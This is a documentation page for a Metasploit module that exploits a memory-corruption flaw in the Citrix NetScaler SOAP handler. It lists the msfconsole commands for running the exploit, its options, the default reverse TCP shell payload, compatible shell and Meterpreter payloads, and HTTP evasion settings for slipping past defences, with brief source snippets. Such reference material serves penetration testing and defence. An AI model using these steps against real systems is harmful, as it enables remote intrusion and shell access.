Citrix NetScaler SOAP Handler Remote Code Execution - Metasploit
This page contains detailed information about how to use the exploit/freebsd/misc/citrix_netscaler_soap_bof metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Citrix NetScaler SOAP Handler Remote Code Execution
Module: exploit/freebsd/misc/citrix_netscaler_soap_bof
Source code: modules/exploits/freebsd/misc/citrix_netscaler_soap_bof.rb
Disclosure date: 2014-09-22
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): x86
Supported platform(s): BSD
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module exploits a memory corruption vulnerability on the Citrix NetScaler Appliance. The vulnerability exists in the SOAP handler, accessible through the web interface. A malicious SOAP requests can force the handler to connect to a malicious NetScaler config server. This malicious config server can send a specially crafted response in order to trigger a memory corruption and overwrite data in the stack, to finally execute arbitrary code with the privileges of the web server running the SOAP handler. This module has been tested successfully on the NetScaler Virtual Appliance 450010.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use exploit/freebsd/misc/citrix_netscaler_soap_bof
msf exploit(citrix_netscaler_soap_bof) > show targets
... a list of targets ...
msf exploit(citrix_netscaler_soap_bof) > set TARGET target-id
msf exploit(citrix_netscaler_soap_bof) > show options
... show and set options ...
msf exploit(citrix_netscaler_soap_bof) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SRVHOST: The local host to listen on. This must be an address on the local machine reachable by the target
Go back to menu.
Msfconsole Usage
Here is how the freebsd/misc/citrix_netscaler_soap_bof exploit module looks in the msfconsole:
msf6 > use exploit/freebsd/misc/citrix_netscaler_soap_bof
[*] No payload configured, defaulting to bsd/x86/shell/reverse_tcp
msf6 exploit(freebsd/misc/citrix_netscaler_soap_bof) > show info
Name: Citrix NetScaler SOAP Handler Remote Code Execution
Module: exploit/freebsd/misc/citrix_netscaler_soap_bof
Platform: BSD
Arch: x86
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2014-09-22
Provided by:
Bradley Austin
juan vazquez <[email protected]>
Available targets:
Id Name
-- ----
0 NetScaler Virtual Appliance 450010
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST yes The local host to listen on. This must be an address on the local machine reachable by the target
SRVPORT 3010 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /soap yes The base path to the soap handler
VHOST no HTTP server virtual host
Payload information:
Space: 1024
Description:
This module exploits a memory corruption vulnerability on the Citrix
NetScaler Appliance. The vulnerability exists in the SOAP handler,
accessible through the web interface. A malicious SOAP requests can
force the handler to connect to a malicious NetScaler config server.
This malicious config server can send a specially crafted response
in order to trigger a memory corruption and overwrite data in the
stack, to finally execute arbitrary code with the privileges of the
web server running the SOAP handler. This module has been tested
successfully on the NetScaler Virtual Appliance 450010.
References:
http://console-cowboys.blogspot.com/2014/09/scaling-netscaler.html
Module Options
This is a complete list of options available in the freebsd/misc/citrix_netscaler_soap_bof exploit:
msf6 exploit(freebsd/misc/citrix_netscaler_soap_bof) > show options
Module options (exploit/freebsd/misc/citrix_netscaler_soap_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SRVHOST yes The local host to listen on. This must be an address on the local machine reachable by the target
SRVPORT 3010 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /soap yes The base path to the soap handler
VHOST no HTTP server virtual host
Payload options (bsd/x86/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 NetScaler Virtual Appliance 450010
Advanced Options
Here is a complete list of advanced options supported by the freebsd/misc/citrix_netscaler_soap_bof exploit:
msf6 exploit(freebsd/misc/citrix_netscaler_soap_bof) > show advanced
Module advanced options (exploit/freebsd/misc/citrix_netscaler_soap_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
BruteStep no Step size between brute force attempts
BruteWait no Delay between brute force attempts
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (bsd/x86/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
EnableStageEncoding false no Encode the second stage payload
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the freebsd/misc/citrix_netscaler_soap_bof module can exploit:
msf6 exploit(freebsd/misc/citrix_netscaler_soap_bof) > show targets
Exploit targets:
Id Name
-- ----
0 NetScaler Virtual Appliance 450010
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the freebsd/misc/citrix_netscaler_soap_bof exploit:
msf6 exploit(freebsd/misc/citrix_netscaler_soap_bof) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/bsd/x86/exec normal No BSD Execute Command
1 payload/bsd/x86/metsvc_bind_tcp normal No FreeBSD Meterpreter Service, Bind TCP
2 payload/bsd/x86/metsvc_reverse_tcp normal No FreeBSD Meterpreter Service, Reverse TCP Inline
3 payload/bsd/x86/shell/bind_ipv6_tcp normal No BSD Command Shell, Bind TCP Stager (IPv6)
4 payload/bsd/x86/shell/bind_tcp normal No BSD Command Shell, Bind TCP Stager
5 payload/bsd/x86/shell/reverse_ipv6_tcp normal No BSD Command Shell, Reverse TCP Stager (IPv6)
6 payload/bsd/x86/shell/reverse_tcp normal No BSD Command Shell, Reverse TCP Stager
7 payload/bsd/x86/shell_bind_tcp normal No BSD Command Shell, Bind TCP Inline
8 payload/bsd/x86/shell_bind_tcp_ipv6 normal No BSD Command Shell, Bind TCP Inline (IPv6)
9 payload/bsd/x86/shell_reverse_tcp normal No BSD Command Shell, Reverse TCP Inline
10 payload/bsd/x86/shell_reverse_tcp_ipv6 normal No BSD Command Shell, Reverse TCP Inline (IPv6)
11 payload/bsdi/x86/shell/bind_tcp normal No BSDi Command Shell, Bind TCP Stager
12 payload/bsdi/x86/shell/reverse_tcp normal No BSDi Command Shell, Reverse TCP Stager
13 payload/bsdi/x86/shell_bind_tcp normal No BSDi Command Shell, Bind TCP Inline
14 payload/bsdi/x86/shell_reverse_tcp normal No BSDi Command Shell, Reverse TCP Inline
15 payload/generic/custom normal No Custom Payload
16 payload/generic/debug_trap normal No Generic x86 Debug Trap
17 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
18 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
19 payload/generic/tight_loop normal No Generic x86 Tight Loop
Evasion Options
Here is the full list of possible evasion options supported by the freebsd/misc/citrix_netscaler_soap_bof exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(freebsd/misc/citrix_netscaler_soap_bof) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Bad SRVHOST, use an address on the local machine reachable by the target
Here is a relevant code snippet related to the "Bad SRVHOST, use an address on the local machine reachable by the target" error message:
85: Exploit::CheckCode::Unknown
86: end
87:
88: def exploit
89: if ['0.0.0.0', '127.0.0.1'].include?(datastore['SRVHOST'])
90: fail_with(Failure::BadConfig, 'Bad SRVHOST, use an address on the local machine reachable by the target')
91: end
92:
93: if check != Exploit::CheckCode::Detected
94: fail_with(Failure::NoTarget, "#{peer} - SOAP endpoint not found")
95: end
<PEER> - SOAP endpoint not found
Here is a relevant code snippet related to the "<PEER> - SOAP endpoint not found" error message:
89: if ['0.0.0.0', '127.0.0.1'].include?(datastore['SRVHOST'])
90: fail_with(Failure::BadConfig, 'Bad SRVHOST, use an address on the local machine reachable by the target')
91: end
92:
93: if check != Exploit::CheckCode::Detected
94: fail_with(Failure::NoTarget, "#{peer} - SOAP endpoint not found")
95: end
96:
97: start_service
98:
99: if target.ret
<C.PEERHOST> - Incorrect request... sending payload anyway
Here is a relevant code snippet related to the "<C.PEERHOST> - Incorrect request... sending payload anyway" error message:
144: data = c.get_once(2)
145: req_length = data.unpack("v")[0]
146:
147: req_data = c.get_once(req_length - 2)
148: unless req_data.unpack("V")[0] == 0xa5a50000
149: print_error("#{c.peerhost} - Incorrect request... sending payload anyway")
150: end
151:
152: print_status("#{c.peerhost} - Sending #{payload.encoded.length} bytes payload with ret 0x#{@curr_ret.to_s(16)}...")
153:
154: my_payload = Rex::Text.pattern_create(target['Offset'])
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #4110 Merged Pull Request: Citrix Netscaler (Virtual Appliance) Buffer Overflow exploit
References
See Also
Check also the following modules related to this module:
- exploit/freebsd/http/citrix_dir_traversal_rce
- auxiliary/admin/citrix/citrix_netscaler_config_decrypt
- auxiliary/gather/citrix_published_applications
- auxiliary/gather/citrix_published_bruteforce
- auxiliary/scanner/http/citrix_dir_traversal
- exploit/unix/webapp/citrix_access_gateway_exec
- exploit/windows/browser/citrix_gateway_actx
- exploit/windows/misc/citrix_streamprocess
- exploit/windows/misc/citrix_streamprocess_data_msg
- exploit/windows/misc/citrix_streamprocess_get_boot_record_request
- exploit/windows/misc/citrix_streamprocess_get_footer
- exploit/windows/misc/citrix_streamprocess_get_objects
- exploit/freebsd/ftp/proftp_telnet_iac
- exploit/freebsd/http/watchguard_cmd_exec
- exploit/freebsd/local/intel_sysret_priv_esc
- exploit/freebsd/local/ip6_setpktopt_uaf_priv_esc
- exploit/freebsd/local/mmap
- exploit/freebsd/local/rtld_execl_priv_esc
- exploit/freebsd/local/watchguard_fix_corrupt_mail
- exploit/freebsd/samba/trans2open
- exploit/freebsd/tacacs/xtacacsd_report
- exploit/freebsd/telnet/telnet_encrypt_keyid
- exploit/freebsd/webapp/spamtitan_unauth_rce
- exploit/linux/http/apache_ofbiz_deserialization_soap
- exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
- exploit/linux/ids/alienvault_centerd_soap_exec
- exploit/linux/upnp/miniupnpd_soap_bof
- exploit/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec
- exploit/multi/http/vtiger_soap_upload
- exploit/multi/misc/indesign_server_soap
- exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec
- exploit/multi/sap/sap_soap_rfc_sxpg_command_exec
- exploit/bsd/finger/morris_fingerd_bof
- payload/bsd/sparc/shell_bind_tcp
- payload/bsd/sparc/shell_reverse_tcp
- payload/bsd/vax/shell_reverse_tcp
- payload/bsd/x64/exec
- payload/bsd/x64/shell_bind_ipv6_tcp
- payload/bsd/x64/shell_bind_tcp
- payload/bsd/x64/shell_bind_tcp_small
- payload/bsd/x64/shell_reverse_ipv6_tcp
- payload/bsd/x64/shell_reverse_tcp
- payload/bsd/x64/shell_reverse_tcp_small
- payload/bsd/x86/exec
- payload/bsd/x86/metsvc_bind_tcp
- payload/bsd/x86/metsvc_reverse_tcp
- payload/bsd/x86/shell/bind_ipv6_tcp
- payload/bsd/x86/shell/bind_tcp
- payload/bsd/x86/shell_bind_tcp
- payload/bsd/x86/shell_bind_tcp_ipv6
- payload/bsd/x86/shell_find_port
- payload/bsd/x86/shell/find_tag
- payload/bsd/x86/shell_find_tag
- payload/bsd/x86/shell/reverse_ipv6_tcp
- payload/bsd/x86/shell/reverse_tcp
- payload/bsd/x86/shell_reverse_tcp
- payload/bsd/x86/shell_reverse_tcp_ipv6
- post/bsd/gather/hashdump
Authors
- Bradley Austin
- juan vazquez
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.